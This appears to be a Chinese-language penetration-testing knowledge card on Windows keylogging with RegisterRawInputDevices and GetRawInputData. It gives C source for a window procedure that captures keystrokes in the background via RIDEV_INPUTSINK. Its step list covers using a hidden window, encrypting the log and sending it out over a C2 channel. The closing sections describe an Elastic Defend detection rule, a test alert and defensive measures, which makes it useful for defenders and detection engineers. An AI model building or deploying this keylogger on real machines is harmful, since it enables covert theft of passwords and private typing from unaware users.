Raw Input 键盘记录:RegisterRawInputDevices 注册键盘 + GetRawInputData 读取 WM_INPUT 原始击键
pentest/c2 · verified
一句话结论
RegisterRawInputDevices 把键盘注册为原始输入设备,窗口在 WM_INPUT 中用 GetRawInputData 直接读取设备级原始输入;配合 RIDEV_INPUTSINK 窗口不在前台也能收键,是原文演示、Elastic 重点检测的现代用户态键盘记录方式。
原理
- Windows 原始输入模型(XP 起提供)允许应用不经常规键盘消息处理路径、直接从输入设备接收原始数据。
RegisterRawInputDevices的第一个参数是RAWINPUTDEVICE结构:usUsagePage = 0x01(HID_USAGE_PAGE_GENERIC)、usUsage = 0x06(HID_USAGE_GENERIC_KEYBOARD)指定键盘设备;dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK中前者抑制该窗口的传统键盘消息,后者允许窗口即使不在前台也能接收输入;hwndTarget = hWnd指定接收消息的窗口。 - 注册成功后,每次按键都会让目标窗口收到
WM_INPUT:先用GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER))查询所需缓冲区大小,分配缓冲区后再调用一次取得RAWINPUT数据;判断buffer->header.dwType == RIM_TYPEKEYBOARD即确认是键盘原始输入,可从中提取击键并保存。 - 与钩子/轮询不同,这种方式直接面对输入设备数据,不需要把代码注入其他进程,也不需要轮询全部虚拟键码;后台接收能力来自
RIDEV_INPUTSINK。
触发条件
- 程序需要创建一个消息窗口(原文在
WM_CREATE中注册)并保持消息循环,在同一交互式会话以普通用户权限运行。 - 注册参数必须指明键盘 usage 且带
RIDEV_INPUTSINK(原文用法),hwndTarget有效。 - EDR 未拦截/未告警(Elastic Defend 8.12+ 对此有专门规则)。
利用步骤
- 创建隐藏/普通窗口,在
WM_CREATE中填充RAWINPUTDEVICE并调用RegisterRawInputDevices(&rid, 1, sizeof(rid))。 - 在
WndProc处理WM_INPUT:第一次GetRawInputData取大小、HeapAlloc分配缓冲区,第二次取数据;dwType == RIM_TYPEKEYBOARD时解析并记录按键。 - 处理完
HeapFree并保持消息循环;日志加密后落盘或经 C2 通道外传。
PoC
原文示意代码(SaveTheKey 未实现,原文注明仅用于说明;本卡未在本机执行):
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
UINT dwSize = 0;
RAWINPUT* buffer = NULL;
switch (uMessage)
{
case WM_CREATE:
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // HID_USAGE_PAGE_GENERIC
rid.usUsage = 0x06; // HID_USAGE_GENERIC_KEYBOARD
rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;
rid.hwndTarget = hWnd;
RegisterRawInputDevices(&rid, 1, sizeof(rid));
break;
case WM_INPUT:
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize, sizeof(RAWINPUTHEADER)))
{
if (buffer->header.dwType == RIM_TYPEKEYBOARD)
{
SaveTheKey(buffer, "log.txt");
}
}
HeapFree(GetProcessHeap(), 0, buffer);
break;
default:
return DefWindowProc(hWnd, uMessage, wParam, lParam);
}
return 0;
}
变体与关联
- DirectInput 的底层实现同样会调用
RegisterRawInputDevices(见 [[pentest-c2-keylogger-directinput-getdevicestate]]);可与轮询/钩子组合使用。 - 边界:需在同一交互式会话内运行;
usage=KEYBOARD+flags=INPUTSINK参数与不可信调用栈是 Elastic 规则的核心特征;UAC 安全桌面输入同样不可见。 - 关联:同文章拆分的 [[pentest-c2-keylogger-getasynckeystate-polling]]、[[pentest-c2-keylogger-setwindowshookex-wh-keyboard-ll]]、[[pentest-c2-keylogger-directinput-getdevicestate]];检测卡 [[defense-detection-etw-keylogger-api-behavior]]。
检测与防御
- 检测:Elastic Defend 8.12+ 监控
RegisterRawInputDevices调用的process.Ext.api.parameters.usage_page(GENERIC)、parameters.usage(KEYBOARD)、parameters.flags(INPUTSINK)、metadata.return_value、windows_count/visible_windows_count/thread_info_flags、start_address_module等;规则 “Keystroke Input Capture via RegisterRawInputDevices” 要求进程签名不可信、参数为键盘 usage +INPUTSINK、存在调用栈且最终用户模块不在系统目录/Program Files 白名单。原文在 Windows 10 22H2 19045.4412 运行使用该 API 的keylogger.exe后立即触发 “Malicious Behavior Detection Alert: Keystroke Input Capture via RegisterRawInputDevices”,Kibana 可见 6 条RegisterRawInputDevices文档,start_address_module指向C:\Users\vagrant\Keylogger.exe、visible_windows_count=0、integrity_level_name=high。 - 防御:部署带 ETW API 遥测的 EDR 并启用该规则;对输入设备/远程支持软件(原文白名单含 Teams、KumoSpace)白名单化并审计;禁止不可信签名程序与用户目录可执行文件运行;告警后排查凭据泄露与外传。